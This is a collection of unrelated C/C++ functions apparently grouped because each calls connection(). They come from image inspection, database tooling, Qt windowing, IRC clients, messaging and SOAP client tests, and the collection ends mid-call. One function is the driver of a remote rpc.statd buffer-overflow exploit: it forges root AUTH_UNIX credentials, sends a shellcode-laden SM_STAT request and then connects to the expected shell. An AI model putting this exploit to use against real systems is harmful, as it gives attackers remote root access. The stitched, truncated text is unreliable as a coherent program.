void CDoProcess::DoProcess(CMData* pData,SubTestResult *testItem) { try { Hobject FindImage,ImageReduced,EllipseObj; Hobject ModelRegions, ConnectedRegions, SelectedRegions,ModelImages,SelectedRegionsSize,RegionClosing,RegionUnion,RegionFillUp,RegionOpening; Hlong Contrast = m_Parameters.m_Contrast; HTuple Row2, Column2, Radius2; Hobject regional_Internal,regional_Out; get_image_size (pData->m_Image, &Column2, &Row2); gen_ellipse(&EllipseObj, Row2/2, Column2/2, 0, m_Parameters.LongAxis, m_Parameters.ShortAxis); if (ShowObject&&pData->m_isDebug) { set_color(pData->m_ShowHWindow,"yellow"); disp_obj(EllipseObj,pData->m_ShowHWindow); } reduce_domain(pData->m_Image, EllipseObj, &ImageReduced); inspect_shape_model(ImageReduced, &ModelImages, &ModelRegions, 1, Contrast); connection(ModelRegions, &ConnectedRegions); //**============================================================== // **选择区域这条更改,原来默认是700,现在我想改成可调的,我现在就设的40 select_shape(ConnectedRegions, &SelectedRegionsSize, "area", "and", m_Parameters.Select_Shape_Size, 99999); // ** 添加这句union1 closing_circle (SelectedRegionsSize, &RegionClosing, 400.5); union1(RegionClosing, &RegionUnion); fill_up (RegionUnion, &RegionFillUp); opening_circle (RegionFillUp, &RegionOpening, m_Parameters.OutlierRemover+0.5); Hlong TempNumber; count_obj(RegionOpening,&TempNumber); if (TempNumber<1) { pData->m_isFail = true; testItem->m_bFailSubTest = true; if (pData->m_isDebug) { set_color(pData->m_ShowHWindow,"green"); set_tposition( pData->m_ShowHWindow,120, 0); #ifdef _ENGLISH write_string(pData->m_ShowHWindow,"Shell center not found"); #else write_string(pData->m_ShowHWindow,"圆中心未找到"); #endif } //pData->m_center_x=50; //pData->m_center_y=50; //pData->r_real=40; //return; } //*============================================================== double CenterRow, CenterColumn, CenterRadius; smallest_circle(RegionOpening, &CenterRow, &CenterColumn, &CenterRadius); Hobject circle; if ((m_Parameters.XMin<CenterColumn)&&(CenterColumn<m_Parameters.XMax)&&(m_Parameters.YMin<CenterRow)&&(CenterRow<m_Parameters.YMax)&&(CenterRadius<m_Parameters.RMax)&&(CenterRadius>m_Parameters.RMin)) { pData->m_center_x=CenterColumn; pData->m_center_y=CenterRow; pData->r_real=CenterRadius; set_color(pData->m_ShowHWindow,"cyan"); gen_circle(&circle, pData->m_center_y, pData->m_center_x, pData->r_real); disp_obj(circle,pData->m_ShowHWindow); } else { pData->m_isFail = true; testItem->m_bFailSubTest = true; pData->m_center_x=50; pData->m_center_y=50; pData->r_real=40; set_color(pData->m_ShowHWindow,"red"); gen_circle(&circle, pData->m_center_y, pData->m_center_x, pData->r_real); disp_obj(circle,pData->m_ShowHWindow); if (pData->m_isDebug) { set_color(pData->m_ShowHWindow,"green"); set_tposition( pData->m_ShowHWindow,5, 145); #ifdef _ENGLISH write_string(pData->m_ShowHWindow,"Fitted shell center not match the qualifications"); #else write_string(pData->m_ShowHWindow,"拟合得到的圆的中心坐标及半径与限定条件不符"); #endif } //return; } //set_color(pData->m_ShowHWindow,"red"); //Hobject circle,ContCircle; //gen_circle(&circle, pData->m_center_y, pData->m_center_x, pData->r_real); //disp_obj(circle,pData->m_ShowHWindow); } catch (HException &except) { if (pData->m_isDebug) { set_color(pData->m_ShowHWindow,"green"); set_tposition( pData->m_ShowHWindow,25, 145); #ifdef _ENGLISH write_string(pData->m_ShowHWindow,"CenterHC23 parameter values error,please re-adjust"); #else write_string(pData->m_ShowHWindow,"CenterHC23程序参数值出错,请重新调节参数"); #endif } pData->m_isFail = true; testItem->m_bFailSubTest = true; pData->m_center_x=50; pData->m_center_y=50; pData->r_real=40; } }
int main(int argc, char **argv) { int ch; char *buff; CLIENT *clnt; enum clnt_stat res; struct timeval tv, tvr; struct sm_name smname; struct sm_stat_res smres; struct sockaddr_in addr; int type = -1; int usetcp = 0; int timeout = 5; int wipe = 9; int offset = 600; int buflen = 1024; char *target; char *sc = shellcode; u_short port = 0; u_long bufpos = 0; int sockp = RPC_ANYSOCK; extern char *optarg; extern int optind; extern int opterr; opterr = 0; while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1) { switch(ch) { case 't': usetcp = 1; break; case 'p': sscanf(optarg, "%hu", &port); break; case 'a': sscanf(optarg, "%lx", &bufpos); break; case 'l': buflen = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case 's': timeout = atoi(optarg); break; case 'w': wipe = atoi(optarg); break; case 'd': type = atoi(optarg); break; default : usage(argv[0]); } } if(!(target = argv[optind])) { fprintf(stderr, "No target host specified\n"); exit(EXIT_FAILURE); } if(type >= 0) { if(type >= sizeof types / sizeof types[0] - 1) { fprintf(stderr, "Invalid type\n"); exit(EXIT_FAILURE); } sc = types[type].code; bufpos = types[type].bufpos; buflen = types[type].buflen; offset = types[type].offset; wipe = types[type].wipe; } if(!bufpos) { fprintf(stderr, "No buffer address specified\n"); exit(EXIT_FAILURE); } bzero(&addr, sizeof addr); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr = getip(target); tv.tv_sec = timeout; tv.tv_usec = 0; if(!usetcp) { clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp); if(clnt == NULL) { clnt_pcreateerror("clntudp_create()"); exit(EXIT_FAILURE); } tvr.tv_sec = 2; tvr.tv_usec = 0; clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr); } else { clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0); if(clnt == NULL) { clnt_pcreateerror("clnttcp_create()"); exit(EXIT_FAILURE); } } /* AUTH_UNIX / AUTH_SYS authentication forgery */ clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); buff = wizardry(sc, bufpos, buflen, offset, wipe); smname.mon_name = buff; res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name, (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res, (caddr_t) &smres, tv); if(res != RPC_SUCCESS) { clnt_perror(clnt, "clnt_call()"); printf("A timeout was expected. Attempting connection to shell..\n"); sleep(5); connection(addr); printf("Failed\n"); } else { printf("Failed - statd returned res_stat: (%s) state: %d\n", smres.res_stat ? "failure" : "success", smres.state); } free(buff); clnt_destroy(clnt); return -1; }
void toResultField::poll(void) { try { if (!toCheckModal(this)) return ; if (Query && Query->poll()) { while (Query->poll() && !Query->eof()) { // For some MySQL statements (say "show create function aaa.bbb") more than one column is returned // and it is not possible to control that (or I do not know how to do it). This workaround will get // a required field (say 3rd) from a result set returned. int fieldNo = whichResultField; // by default this would be set to 1 in constructor while (fieldNo > 1) { fieldNo--; Query->readValue(); } Unapplied += Query->readValue(); // Read any remaining columns for queries with specific field to fetch. // This is primarily used for MySQL statements like "show create..." which // return different uncontrollable number of fields for different users. // If remaining fields are not fetched polling thread will loop. if (whichResultField > 1) while (!Query->eof()) Query->readValue(); } if (Unapplied.length() > THRESHOLD) { append(Unapplied); Unapplied = QString::null; } if (Query->eof()) { delete Query; Query = NULL; Poll.stop(); try { // Code is formatted if it is set in preferences (Preferences->Editor Extensions) to // indent (format) a read only code AND! if it is not a MySQL code because current // TOra code parser/indenter does not work correctly with MySQL code (routines) if (toConfigurationSingle::Instance().autoIndentRo() && !toIsMySQL(connection())) setText(toSQLParse::indent(text() + Unapplied)); else append(Unapplied); } TOCATCH Unapplied = QString::null; } } } catch (const QString &exc) { delete Query; Query = NULL; Poll.stop(); toStatusMessage(exc); } }
xcb_window_t QXcbDrag::findRealWindow(const QPoint & pos, xcb_window_t w, int md, bool ignoreNonXdndAwareWindows) { if (w == shapedPixmapWindow()->handle()->winId()) return 0; if (md) { xcb_get_window_attributes_cookie_t cookie = xcb_get_window_attributes(xcb_connection(), w); xcb_get_window_attributes_reply_t *reply = xcb_get_window_attributes_reply(xcb_connection(), cookie, 0); if (!reply) return 0; if (reply->map_state != XCB_MAP_STATE_VIEWABLE) return 0; free(reply); xcb_get_geometry_cookie_t gcookie = xcb_get_geometry(xcb_connection(), w); xcb_get_geometry_reply_t *greply = xcb_get_geometry_reply(xcb_connection(), gcookie, 0); if (!greply) return 0; QRect windowRect(greply->x, greply->y, greply->width, greply->height); free(greply); if (windowRect.contains(pos)) { bool windowContainsMouse = !ignoreNonXdndAwareWindows; { xcb_get_property_cookie_t cookie = Q_XCB_CALL(xcb_get_property(xcb_connection(), false, w, connection()->atom(QXcbAtom::XdndAware), XCB_GET_PROPERTY_TYPE_ANY, 0, 0)); xcb_get_property_reply_t *reply = xcb_get_property_reply(xcb_connection(), cookie, 0); bool isAware = reply && reply->type != XCB_NONE; free(reply); if (isAware) { const QPoint relPos = pos - windowRect.topLeft(); // When ShapeInput and ShapeBounding are not set they return a single rectangle with the geometry of the window, this is why we // need to check both here so that in the case one is set and the other is not we still get the correct result. if (connection()->hasInputShape()) windowContainsMouse = windowInteractsWithPosition(xcb_connection(), relPos, w, XCB_SHAPE_SK_INPUT); if (windowContainsMouse && connection()->hasXShape()) windowContainsMouse = windowInteractsWithPosition(xcb_connection(), relPos, w, XCB_SHAPE_SK_BOUNDING); if (!connection()->hasInputShape() && !connection()->hasXShape()) windowContainsMouse = true; if (windowContainsMouse) return w; } } xcb_query_tree_cookie_t cookie = xcb_query_tree (xcb_connection(), w); xcb_query_tree_reply_t *reply = xcb_query_tree_reply(xcb_connection(), cookie, 0); if (!reply) return 0; int nc = xcb_query_tree_children_length(reply); xcb_window_t *c = xcb_query_tree_children(reply); xcb_window_t r = 0; for (uint i = nc; !r && i--;) r = findRealWindow(pos - windowRect.topLeft(), c[i], md-1, ignoreNonXdndAwareWindows); free(reply); if (r) return r; // We didn't find a client window! Just use the // innermost window. // No children! if (!windowContainsMouse) return 0; else return w; } } return 0; }
QDBusConnectionPrivate *QDBusConnectionManager::sender() const { QMutexLocker locker(&senderMutex); return connection(senderName); }
void link::handler(class handler &h) { pn_record_t *record = pn_link_attachments(pn_cast(this)); connection_context& cc(connection_context::get(pn_cast(&connection()))); counted_ptr<pn_handler_t> chandler = cc.container_impl->cpp_handler(&h); pn_record_set_handler(record, chandler.get()); }
void KviIrcContext::connectionTerminated() { if(!m_pConnection) return; // this may happen in the destructor! KviIrcServer oldServer(*(connection()->target()->server())); oldServer.clearReconnectInfo(); KviIrcServerReconnectInfo info; info.m_szNick = connection()->userInfo()->isAway() ? connection()->userInfo()->nickNameBeforeAway() : connection()->userInfo()->nickName(); info.m_szPass = connection()->userInfo()->password(); info.m_bIsAway = connection()->userInfo()->isAway(); info.m_szAwayReason = connection()->userInfo()->awayReason(); connection()->requestQueue()->clearAll(); // we consider it unexpected when we haven't sent a QUIT message and we're connected // or alternatively when a simulation of such a termination is requested (this is used to keep the queries open etc.) bool bUnexpectedDisconnect = ((!(connection()->stateData()->sentQuit())) && ((m_eState == KviIrcContext::Connected) || (m_eState == KviIrcContext::Connecting) || (m_eState == KviIrcContext::LoggingIn))) || connection()->stateData()->simulateUnexpectedDisconnect(); if(bUnexpectedDisconnect) { if(KVI_OPTION_BOOL(KviOption_boolAutoReconnectOnUnexpectedDisconnect)) { if(KVI_OPTION_BOOL(KviOption_boolRejoinChannelsAfterReconnect)) connection()->gatherChannelAndPasswordPairs(info.m_lJoinChannels); if(KVI_OPTION_BOOL(KviOption_boolReopenQueriesAfterReconnect)) connection()->gatherQueryNames(info.m_lOpenQueries); } if(KVI_OPTION_BOOL(KviOption_boolKeepChannelsOpenOnUnexpectedDisconnect) || KVI_OPTION_BOOL(KviOption_boolKeepChannelsOpenOnDisconnect)) connection()->keepChannelsOpenAfterDisconnect(); if(KVI_OPTION_BOOL(KviOption_boolKeepQueriesOpenOnUnexpectedDisconnect) || KVI_OPTION_BOOL(KviOption_boolKeepQueriesOpenOnDisconnect)) connection()->keepQueriesOpenAfterDisconnect(); } else { if(KVI_OPTION_BOOL(KviOption_boolKeepChannelsOpenOnDisconnect)) connection()->keepChannelsOpenAfterDisconnect(); if(KVI_OPTION_BOOL(KviOption_boolKeepQueriesOpenOnDisconnect)) connection()->keepQueriesOpenAfterDisconnect(); } bool bStopOutput = false; bStopOutput = KVS_TRIGGER_EVENT_0_HALTED(KviEvent_OnIRCConnectionTerminated, m_pConsole); if(!bStopOutput) { m_pConsole->output(KVI_OUT_CONNECTION, __tr2qs("Connection terminated [%s (%s:%u)]"), oldServer.hostName().toUtf8().data(), oldServer.ip().toUtf8().data(), oldServer.port()); } // do reconnect if(bUnexpectedDisconnect && KVI_OPTION_BOOL(KviOption_boolAutoReconnectOnUnexpectedDisconnect)) { setState(PendingReconnection); //m_uConnectAttemptCount = 1; if(!_OUTPUT_MUTE) m_pConsole->output(KVI_OUT_CONNECTION, __tr2qs("The connection terminated unexpectedly. Trying to reconnect...")); KviAsynchronousConnectionData * d = new KviAsynchronousConnectionData(); d->szServerId = oldServer.id(); d->szServer = oldServer.hostName(); d->uPort = oldServer.port(); d->bPortIsOk = true; d->bUseIPv6 = oldServer.isIPv6(); d->bUseSSL = oldServer.useSSL(); d->bSTARTTLS = oldServer.enabledSTARTTLS(); d->szPass = oldServer.password(); d->szInitUMode = oldServer.initUMode(); d->m_pReconnectInfo = new KviIrcServerReconnectInfo(info); setAsynchronousConnectionData(d); beginAsynchronousConnect(1000 * KVI_OPTION_UINT(KviOption_uintAutoReconnectDelay)); } else { setState(Idle); } }
void QXcbShmImage::put(xcb_window_t window, const QPoint &target, const QRect &source) { Q_XCB_NOOP(connection()); if (m_gc_window != window) { if (m_gc) Q_XCB_CALL(xcb_free_gc(xcb_connection(), m_gc)); m_gc = xcb_generate_id(xcb_connection()); Q_XCB_CALL(xcb_create_gc(xcb_connection(), m_gc, window, 0, 0)); m_gc_window = window; } Q_XCB_NOOP(connection()); if (m_shm_info.shmaddr) { xcb_image_shm_put(xcb_connection(), window, m_gc, m_xcb_image, m_shm_info, source.x(), source.y(), target.x(), target.y(), source.width(), source.height(), false); } else { // If we upload the whole image in a single chunk, the result might be // larger than the server's maximum request size and stuff breaks. // To work around that, we upload the image in chunks where each chunk // is small enough for a single request. int src_x = source.x(); int src_y = source.y(); int target_x = target.x(); int target_y = target.y(); int width = source.width(); int height = source.height(); // We must make sure that each request is not larger than max_req_size. // Each request takes req_size + m_xcb_image->stride * height bytes. uint32_t max_req_size = xcb_get_maximum_request_length(xcb_connection()); uint32_t req_size = sizeof(xcb_put_image_request_t); int rows_per_put = (max_req_size - req_size) / m_xcb_image->stride; // This assert could trigger if a single row has more pixels than fit in // a single PutImage request. However, max_req_size is guaranteed to be // at least 16384 bytes. That should be enough for quite large images. Q_ASSERT(rows_per_put > 0); while (height > 0) { int rows = std::min(height, rows_per_put); xcb_image_t *subimage = xcb_image_subimage(m_xcb_image, src_x, src_y, width, rows, 0, 0, 0); xcb_image_put(xcb_connection(), window, m_gc, subimage, target_x, target_y, 0); xcb_image_destroy(subimage); src_y += rows; target_y += rows; height -= rows; } } Q_XCB_NOOP(connection()); m_dirty = m_dirty | source; xcb_flush(xcb_connection()); Q_XCB_NOOP(connection()); }
void KviIrcMessage::parseMessageTags() { if(m_szMessageTags.isEmpty()) return; KviCString szKey; KviCString szValue; for(int i = 0; i < m_szMessageTags.len(); ++i) { if(m_szMessageTags.at(i) == '=') { for(++i; i < m_szMessageTags.len(); ++i) { if(m_szMessageTags.at(i) == ';') { m_ParsedMessageTags[connection()->decodeText(szKey)] = connection()->decodeText(szValue); szKey.clear(); szValue.clear(); break; } else if(m_szMessageTags.at(i) == '\\') { if(++i >= m_szMessageTags.len()) break; switch(m_szMessageTags.at(i)) { case ':': szValue += ';'; break; case 's': szValue += ' '; break; case '0': szValue += '\0'; break; case 'r': szValue += '\r'; break; case 'n': szValue += '\n'; break; default: szValue += m_szMessageTags.at(i); } } else { szValue += m_szMessageTags.at(i); } } } else if(m_szMessageTags.at(i) == ';') { // Insert key without value m_ParsedMessageTags[connection()->decodeText(szKey)].clear(); szKey.clear(); } else { szKey += m_szMessageTags.at(i); } } m_ParsedMessageTags[connection()->decodeText(szKey)] = connection()->decodeText(szValue); m_time = QDateTime::fromString(m_ParsedMessageTags.value("time"), Qt::ISODate); // empty value will be invalid time }
void toAWR::execute(void) { try { //QString sql=Statement->text(); //toQList params=toParamGet::getParam(this,sql); //Result->query(sql,params); //Result->query(sql,toQList()); QVariant vdbid = dbid->itemData(dbid->currentIndex()); QString dbids( vdbid.toStringList().at(0) ); QString insts( vdbid.toStringList().at(1) ); QVariant vf = fsnap->itemData(fsnap->currentIndex()); QVariant vt = tsnap->itemData(tsnap->currentIndex()); QString fsnaps( vf.toStringList().at(2) ); QString tsnaps( vt.toStringList().at(2) ); // toQList params; // params.push_back(fsnaps); // params.push_back(tsnaps); TLOG(0, toDecorator, __HERE__) << "Dbid:" << dbids.toLatin1().constData() << ' ' << "Inst:" << insts.toLatin1().constData() << ' ' << "fsnap:" << fsnaps.toLatin1().constData() << ' ' << "tsnap:" << tsnaps.toLatin1().constData() << std::endl; try { toConnectionSubLoan c(connection()); toQuery checkSnaps(c, SQLCheckSnaps, toQueryParams() << dbids << insts << fsnaps << tsnaps); toQuery report(c, "select NVL(output,' ') \n" //"from table(dbms_workload_repository.awr_report_text( \n" "from table(dbms_workload_repository.awr_report_html( \n" " :dbid<char[40],in>, \n" " :inst<char[40],in>, \n" " :f<char[40],in>, \n" " :t<char[40],in>, 0))", toQueryParams() << dbids << insts << fsnaps << tsnaps); QString reports; while (!report.eof()) { QString line = (QString)report.readValue(); reports += line; reports += '\n'; } std::cerr << reports.toLatin1().constData() << std::endl; QWidget *box = new QWidget(Tabs); QVBoxLayout *vbox = new QVBoxLayout; vbox->setSpacing(0); vbox->setContentsMargins(0, 0, 0, 0); box->setLayout(vbox); vbox->addWidget(new QLabel(tr("AWR report"), box)); toTextView *tb = new toTextView(box); tb->setFontFamily("monospace"); tb->setReadOnly(true); tb->setText(reports); vbox->addWidget(tb); Tabs->addTab(box, tr("AWR Report")); } catch (const toConnection::exception &t ) { TOMessageBox::information(this, t, t); } } TOCATCH }
/*! Sends a \a command to the server. This method is provided for convenience. It is equal to: \code IrcConnection* connection = buffer->connection(); connection->sendCommand(command); \endcode \sa IrcConnection::sendCommand() */ bool IrcBuffer::sendCommand(IrcCommand* command) { if (IrcConnection* c = connection()) return c->sendCommand(command); return false; }
void link::handler(proton_handler &h) { pn_record_t *record = pn_link_attachments(pn_object()); internal::pn_ptr<pn_handler_t> chandler = connection().container().impl_->cpp_handler(&h); pn_record_set_handler(record, chandler.get()); }
int main(int argc, char *argv[]) { bmd_conf *konfiguracja=NULL; struct soap soap; int result; char *serverURL = NULL; char *host = NULL; long int ssl_enabled=0; long int authenticate=0; char *keyfile=NULL; char *keyfile_passwd=NULL; char *keyfile_ssl=NULL; char *keyfile_passwd_ssl=NULL; char *cacert=NULL; char *capath=NULL; char *nrRoli=NULL; int status = 0; struct xsd__base64Binary *base64Cert = NULL; char *serverResponse = NULL; char *roleId=NULL; int i=0; _GLOBAL_debug_level=0; if (argc==5) { for (i=1; i<argc; i++) { if (strcmp(argv[i],"-d")==0) { if (argc>i+1) _GLOBAL_debug_level=atoi(argv[i+1]); } if (strcmp(argv[i],"-p")==0) { asprintf(&roleId, "%s", argv[i+1]); } } } else { printf("%s\n",argv[0]); printf("\nniepoprawne wywołanie\n\nuzyj ponizszych parametrow\n"); printf("-------------------------------------------------------\n"); printf("\t-d liczba\tpoziom logowania\n"); printf("\t-p liczba\tid roli\n"); printf("-------------------------------------------------------\n"); return -1; } /*załadowanie bibliotek ssl-owych*/ SSL_load_error_strings(); SSL_library_init(); /*funkcje konfiguracyjne*/ load_soap_configuration(&konfiguracja); configuration(konfiguracja,&host,&keyfile,&keyfile_passwd,&keyfile_ssl,&keyfile_passwd_ssl,&cacert,&capath,&ssl_enabled); /*funkcja ustanowienia połaczenia z serwerem*/ status=connection(&soap,ssl_enabled,authenticate,keyfile_ssl,keyfile_passwd_ssl,cacert,capath); if (status!=SOAP_OK) { PRINT_DEBUG("SOAPCLIENTERR Connection error\n"); return 0; } /*********************/ /* informacja o roli */ /*********************/ struct bmd230__singleRoleInfo *roleInfo = NULL; roleInfo = (struct bmd230__singleRoleInfo *)malloc(sizeof(struct bmd230__singleRoleInfo)); roleInfo->roleName=NULL; roleInfo->roleId=NULL; roleInfo->roleActionList=(struct bmd230__stringList *)malloc(sizeof(struct bmd230__stringList)); roleInfo->roleActionList->__size=300; roleInfo->roleActionList->__ptr=(xsd__string *)malloc(sizeof(xsd__string)*roleInfo->roleActionList->__size); for (i=0; i<300; i++) { asprintf(&nrRoli, "%i", i+1); roleInfo->roleActionList->__ptr[i]=nrRoli; } roleInfo->roleRightsOids=(struct bmd230__stringList *)malloc(sizeof(struct bmd230__stringList)); roleInfo->roleRightsOids->__size=0; roleInfo->roleRightsOids->__ptr=(xsd__string *)malloc(sizeof(xsd__string)*roleInfo->roleRightsOids->__size); // roleInfo->roleRightsOids->__ptr[0]="rr_1_2_616_1_113527_4_3_3_8"; roleInfo->roleRightsCodes=(struct bmd230__stringList *)malloc(sizeof(struct bmd230__stringList)); roleInfo->roleRightsCodes->__size=0; roleInfo->roleRightsCodes->__ptr=(xsd__string *)malloc(sizeof(xsd__string)*roleInfo->roleRightsCodes->__size); // roleInfo->roleRightsCodes->__ptr[0]="000000011"; GenBuf_t *cert_pem=NULL; base64Cert = (struct xsd__base64Binary *)malloc(sizeof(struct xsd__base64Binary)); status = bmd_load_binary_content(keyfile,&cert_pem); if (status != BMD_OK) { PRINT_DEBUG("SOAPCLIENTERR Error while reading certificate file\n"); return 0; } base64Cert->__ptr=cert_pem->buf; base64Cert->__size=cert_pem->size; soap_set_namespaces(&soap, bmd230_namespaces); /*********************************************************************************/ /************************ funkcja testowa ****************************************/ status=soap_call_bmd230__bmdUpdateRole( &soap, host, NULL, base64Cert, NULL, NULL,NULL, roleId, roleInfo, &result); /*********************************************************************************/ /*********************************************************************************/ if (status == SOAP_OK) { /*********************************************************************************/ /************************ funkcja odpowiedź ****************************************/ printf("Update roli powiódł się. id: %i\n",result); /*********************************************************************************/ /*********************************************************************************/ } else { /*odpowiedź w razie błędu*/ soap_print_fault(&soap, stderr); soap_end(&soap); soap_done(&soap); free(serverURL); return -1; } soap_end(&soap); soap_done(&soap); free(serverURL); return 0; }
void toResultDrawing::query(const QString &, toQueryParams const& params) { toResult::setParams(params); typedef QPair<QString, QString> Reference; toConnection &conn = connection(); m_dotGraphView->initEmpty(); QString schema(params.at(0)), table(params.at(1)); QSet<QString> tables; QSet<Reference> references; tables.insert(table); DotGraph newGraph("dot"); QMap<QString,QString> ga; ga["id"] = "Schema"; ga["compound"] = "true"; ga["shape"] = "box"; ga["rankdir"] = "BT"; // BOTTOM to TOP arrows newGraph.setGraphAttributes(ga); toQValue c1, c2, c3, c4, c5, c6, c7, c8, c9; // TODO: use toCache here - additional attributes toConnectionSubLoan c(conn); toQuery QueryC(c, SQLTableFKWithDistance, toQueryParams() << schema.toUpper() << distance << table.toUpper()); while (!QueryC.eof()) { c1 = QueryC.readValue(); c2 = QueryC.readValue(); c3 = QueryC.readValue(); c4 = QueryC.readValue(); c5 = QueryC.readValue(); c6 = QueryC.readValue(); c7 = QueryC.readValue(); c8 = QueryC.readValue(); c9 = QueryC.readValue(); if ( c5.isNull() && c1.isNull()) { // Here collect FK details (a column list for compound keys) } if ( c5.isNull() && !c1.isNull()) // c5 (column_name) is null - see rollup def { tables.insert((QString)c4); // table_name tables.insert((QString)c7); // r_table_name references.insert( Reference((QString)c4, (QString)c7)); } } Q_FOREACH(QString const&t, tables) { QMap<QString,QString> ta; // table atributes ta["name"] = t; ta["label"] = t; ta["fontsize"] = "12"; ta["comment"]= t; ta["id"]= t; ta["tooltip"] = t; newGraph.addNewNode(ta); }
int main() { bmd_conf *konfiguracja=NULL; char *serverURL = NULL; char *host = NULL; long int ssl_enabled=0; long int authenticate=0; char *keyfile=NULL; char *keyfile_passwd=NULL; char *keyfile_ssl=NULL; char *keyfile_passwd_ssl=NULL; char *cacert=NULL; char *capath=NULL; int status = 0; struct bmd230__mtdsSearchValues *mtds = NULL; struct bmd230__mtdsValues *formMtds = NULL; struct bmd230__searchSortInfoList *sortInfo; struct bmd230__searchResults *searchResults = NULL; struct xsd__base64Binary *base64Cert = NULL; int iter=0; int jupiter=0; #ifdef ENABLE_WS_SECURITY bmdWSSecurityClient_t WSSEclientStruct; #endif /*ifdef ENABLE_WS_SECURITY*/ struct soap *soap = soap_new1(SOAP_XML_CANONICAL); /// !!!!istotne aby wlaczona postac kanoninczna /*zaladowanie bibliotek ssl-owych*/ SSL_load_error_strings(); SSL_library_init(); /*funkcje konfiguracyjne*/ load_soap_configuration(&konfiguracja); configuration(konfiguracja,&host,&keyfile,&keyfile_passwd,&keyfile_ssl,&keyfile_passwd_ssl,&cacert,&capath,&ssl_enabled); /*funkcja ustanowienia połaczenia z serwerem*/ status=connection(soap,ssl_enabled,authenticate,keyfile_ssl,keyfile_passwd_ssl,cacert,capath); if (status!=SOAP_OK) { printf("SOAPCLIENTERR Connection error\n"); return 0; } #ifdef ENABLE_WS_SECURITY /**WS SECURITY BEGIN ******/ status=WSSecurity_client_init(soap, "wszczygiel072010_priv.pem", "12345678", "wszczygiel072010_cert.pem", "HereYouCanSetUserName", "HerYouCanSetPassword", &WSSEclientStruct); if(status != 0) { printf("WS Security client side error\n"); return -1; } /**WS SECURITY END ******/ #endif /*ifdef ENABLE_WS_SECURITY*/ /*formularz - wydobywane metadane*/ formMtds = (struct bmd230__mtdsValues *)malloc(sizeof(struct bmd230__mtdsValues)); formMtds->__size = 2; formMtds->__ptr = (struct bmd230__mtdSingleValue *)malloc(sizeof(struct bmd230__mtdSingleValue)*(formMtds->__size)); /*wlasciciel*/ formMtds->__ptr[0].mtdOid = OID_SYS_METADATA_CRYPTO_OBJECTS_OWNER; formMtds->__ptr[0].mtdValue = ""; formMtds->__ptr[0].mtdDesc = ""; /*numer faktury*/ formMtds->__ptr[1].mtdOid = "1.2.616.1.113527.4.3.3.1"; formMtds->__ptr[1].mtdValue = ""; formMtds->__ptr[1].mtdDesc = ""; /*przygotowanie danych niezbędnych do uruchomienia funkcji web-owej*/ mtds = (struct bmd230__mtdsSearchValues *)malloc(sizeof(struct bmd230__mtdsSearchValues)); mtds->__size = 3; mtds->__ptr=(struct bmd230__mtdSearchSingleValue*)malloc(sizeof(struct bmd230__mtdSearchSingleValue)*mtds->__size); mtds->__ptr[0].mtdOid = OID_ACTION_METADATA_USER_CLASS; mtds->__ptr[0].mtdValue = "2"; mtds->__ptr[0].mtdStatement = NULL; //"POSITIVE"; mtds->__ptr[0].mtdAdjustment = NULL;//"NONE"; mtds->__ptr[0].noOfOpenBrackets = 0; mtds->__ptr[0].noOfCloseBrackets = 0; mtds->__ptr[0].mtdDesc = NULL; //"LIKE"; mtds->__ptr[0].mtdLogicalOperator = NULL; mtds->__ptr[1].mtdOid = OID_ACTION_METADATA_ACTION; mtds->__ptr[1].mtdValue = "16"; mtds->__ptr[1].mtdStatement = NULL; //"POSITIVE"; mtds->__ptr[1].mtdAdjustment = NULL; //"NONE"; mtds->__ptr[1].noOfOpenBrackets = 0; mtds->__ptr[1].noOfCloseBrackets = 0; mtds->__ptr[1].mtdDesc = NULL; //"LIKE"; mtds->__ptr[1].mtdLogicalOperator = NULL; //"AND"; mtds->__ptr[2].mtdOid = OID_ACTION_METADATA_ACTION; mtds->__ptr[2].mtdValue = "12"; mtds->__ptr[2].mtdStatement = NULL; //"POSITIVE"; mtds->__ptr[2].mtdAdjustment = NULL; //"NONE"; mtds->__ptr[2].noOfOpenBrackets = 0; mtds->__ptr[2].noOfCloseBrackets = 0; mtds->__ptr[2].mtdDesc = NULL; //"LIKE"; mtds->__ptr[2].mtdLogicalOperator = NULL; //"AND"; /*mtds->__ptr[2].mtdOid = OID_SYS_METADATA_CRYPTO_OBJECTS_FILE_TYPE; mtds->__ptr[2].mtdValue = ""; mtds->__ptr[2].mtdDesc = NULL; //"LIKE"; mtds->__ptr[2].mtdStatement = NULL; //"POSITIVE"; mtds->__ptr[2].mtdLogicalOperator = NULL; //"AND"; mtds->__ptr[2].noOfOpenBrackets = 0; mtds->__ptr[2].noOfCloseBrackets = 0; mtds->__ptr[2].mtdAdjustment = NULL; //"NONE"; mtds->__ptr[3].mtdOid = OID_SYS_METADATA_CRYPTO_OBJECTS_FILE_TYPE; mtds->__ptr[3].mtdValue = "link"; mtds->__ptr[3].mtdDesc = NULL; //"LIKE"; mtds->__ptr[3].mtdStatement = NULL; //"POSITIVE"; mtds->__ptr[3].mtdLogicalOperator = "OR"; //"AND"; mtds->__ptr[3].noOfOpenBrackets = 0; mtds->__ptr[3].noOfCloseBrackets = 0; mtds->__ptr[3].mtdAdjustment = NULL; //"NONE";*/ GenBuf_t *cert_pem=NULL; base64Cert = (struct xsd__base64Binary *)malloc(sizeof(struct xsd__base64Binary)); status = bmd_load_binary_content(keyfile,&cert_pem); if (status != BMD_OK) { printf("SOAPCLIENTERR Error while reading certificate file\n"); return 0; } base64Cert->__ptr=(unsigned char*)cert_pem->buf; base64Cert->__size=cert_pem->size; /*sortowanie po nazwie pliku*/ sortInfo = (struct bmd230__searchSortInfoList *)malloc(sizeof(struct bmd230__searchSortInfoList)); sortInfo->__size = 1; sortInfo->__ptr = (struct bmd230__searchSortInfo *)malloc( sizeof(struct bmd230__searchSortInfo) * (sortInfo->__size) ); sortInfo->__ptr[0].sortOid = OID_SYS_METADATA_CRYPTO_OBJECTS_FILENAME; sortInfo->__ptr[0].sortOrder = "ASC"; soap_set_namespaces(soap, bmd230_namespaces); /* wywolanie uslugi */ status=soap_call_bmd230__bmdSearchUnreceived(soap, host, NULL, base64Cert, "1"/*userRoleId*/, "1"/*userGroupId*/, NULL/*userClassId*/, 